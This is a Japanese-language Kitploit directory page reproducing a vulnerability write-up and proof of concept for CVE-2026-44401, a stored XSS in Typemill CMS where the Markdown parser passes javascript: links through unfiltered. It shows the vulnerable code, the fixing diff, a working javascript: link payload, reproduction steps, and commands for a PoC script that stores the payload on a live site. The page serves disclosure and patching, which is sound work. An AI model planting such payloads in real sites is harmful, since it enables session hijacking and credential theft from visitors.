Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-44401 — Typemill CMS における永続的XSS: Markdownパーサーが javascript: URI をフィルタリングせずに通してしまう。Writeup + PoC。 | Kitploit
ツール/GitHubGitHub/sn0x-sharma/cve-2026-44401
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト学習と教育
GitHubsn0x-sharma/cve-2026-44401

CVE-2026-44401

Typemill CMS における永続的XSS: Markdownパーサーが javascript: URI をフィルタリングせずに通してしまう。Writeup + PoC。

リポジトリを見る
241ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ChatGPT 画像 Aug 11, 2026, 02_18_30 PM
CVECVE-2026-44401
CWECWE-79 (Webページ生成時における入力の無害化の不備)
影響を受けるtypemill/typemill >= 2.0.0, < 2.23.0
修正バージョンv2.23.0 (コミット 31b72ea)
必要な認証はい、system:update ACL権限を持つ任意の役割(デフォルトでは admin または manager)
CVSS (報告者)7.6 / Medium-High
CVSS-B (VulnCheck, v4.0)4.6 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L
報告者sn0x (@sn0x-sharma)
アドバイザリVulnCheck

スコアがCriticalではなくMediumなのは、PR:H(テーマ設定権限)とUI:A(被害者がリンクをクリックする必要がある)を必要とするためです — しかし、ペイロードは保存型であるため、クリックしたすべての訪問者に対して発動します。

概要

Typemillはフラットファイル方式のMarkdown CMSです。そのMarkdownパーサーは、リンク先をhref属性に書き込む前にURIスキームを検証しません。テーマ設定アクセス権を持つユーザー(例: 生のMarkdownを受け付けるLandingpage Intro Segmentテキストフィールド)は、javascript:リンクを保存できます。これは公開ホームページ上でエスケープされずにレンダリングされ、クリックしたすべての訪問者のブラウザで実行される持続的(保存型)XSSとなります。

根本原因

ParsedownExtension::inlineLink() — system/typemill/Extensions/ParsedownExtension.php, lines 934–996 (v2.22.0、最後の脆弱性のあるタグ).

相対リンクとmedia/リンクにはベースURLのプレフィックスが付加されますが、hrefに代入される前にURIスキームをチェックする処理はありません。

root@kitploit:~
# start typemill: if relative link or media-link
$href = $matches[1];
if($href[0] == '/')
{
    $href = $this->baseUrl . $href;
}
elseif(substr( $href, 0, 6 ) === "media/")
{
    $href = $this->baseUrl . '/' . $href;
}
# end typemill

$Element['attributes']['href'] = $href;   // <-- no scheme validation

[Click me](javascript:alert(document.domain)) → <a href="javascript:alert(document.domain)">Click me</a>.

この特定のシンクへのレンダリングパス: themes/cyanine/home/landingpageIntro.twig → TwigMarkdownExtension.php → ParsedownExtension.php。同じパーサーにユーザーのMarkdownを渡す他のテーマフィールドも同様に影響を受けます。

修正 (v2.23.0)

root@kitploit:~
              # end typemill
-
+
+             # block dangerous URI schemes (e.g. javascript:, vbscript:, data:)
+             $scheme = parse_url($href, PHP_URL_SCHEME);
+             if ($scheme !== null && !in_array(strtolower($scheme), ['http', 'https', 'mailto', 'ftp'], true))
+             {
+                 $href = '#';
+             }
+
              $Element['attributes']['href'] = $href;

元のレポートで提案されたのと同じ許可リスト(http、https、mailto、ftp)です。v2.22.0 と v2.23.0 のタグ間で ParsedownExtension.php を差分比較して確認済みです。

権限に関する注意

テーマ設定ルート(GET /tm/themes、POST /api/v1/theme)は、system/update ACLリソースによってゲートされています。Typemill自身のルート定義(routes/web.php、routes/api.php)によると、これはデフォルトでadminだけでなく manager ロールにも付与されています。したがって、影響範囲は最上位の管理者アカウントに限定されません。

再現手順

  1. テーマ設定アクセス権を持つユーザーとしてログインし、System → Themes → Configure と進みます(アクティブなテーマ、例: Cyanine)。

    画像
  2. Landingpage Intro Segment を展開し、"Text for your landingpage intro (use markdown)" に次のように入力します:

    root@kitploit:~
    [Click me](javascript:alert(document.domain))
    
    画像
  3. 保存します。任意のユーザーとしてホームページにアクセスし、リンクをクリックすると、その訪問者のセッションでJSが実行されます。

    画像

概念実証

CVE-2026-44401_POC.py - 2つのモード:

root@kitploit:~
# Offline: exercises the parser directly against a Typemill checkout
# (composer install already run, so vendor/ exists)
python3 CVE-2026-44401_POC.py local --source /path/to/typemill

# ...or straight against a running container, same way it was originally verified
python3 CVE-2026-44401_POC.py local --docker typemill --container-path /var/www/html

# Live: logs in, stores the payload via the theme-settings API, confirms the
# raw javascript: href on the public homepage, restores the original value
python3 CVE-2026-44401_POC.py remote --url http://localhost:8080 \
    --username admin --password '********'

最小限の手動再現(このレポートの検証に使用したもの):

root@kitploit:~
php -r '
  require "vendor/autoload.php";
  require "system/typemill/Extensions/ParsedownExtension.php";
  $p = new \Typemill\Extensions\ParsedownExtension("",[],null);
  echo $p->markup($p->text("[x](javascript:alert(1))"));
'
# vulnerable: <p><a href="javascript:alert(1)">x</a></p>
# patched:    <p><a href="#">x</a></p>

影響

  • 管理者/マネージャーのセッションハイジャック(Cookieの窃取)
  • 注入されたフォームやリダイレクトによる認証情報の窃取
  • 被害者としてのさらなる認証済み操作への連鎖

参照

  • Typemill リポジトリ
  • 修正版リリース — v2.23.0
  • VulnCheck アドバイザリ
ツールをダウンロード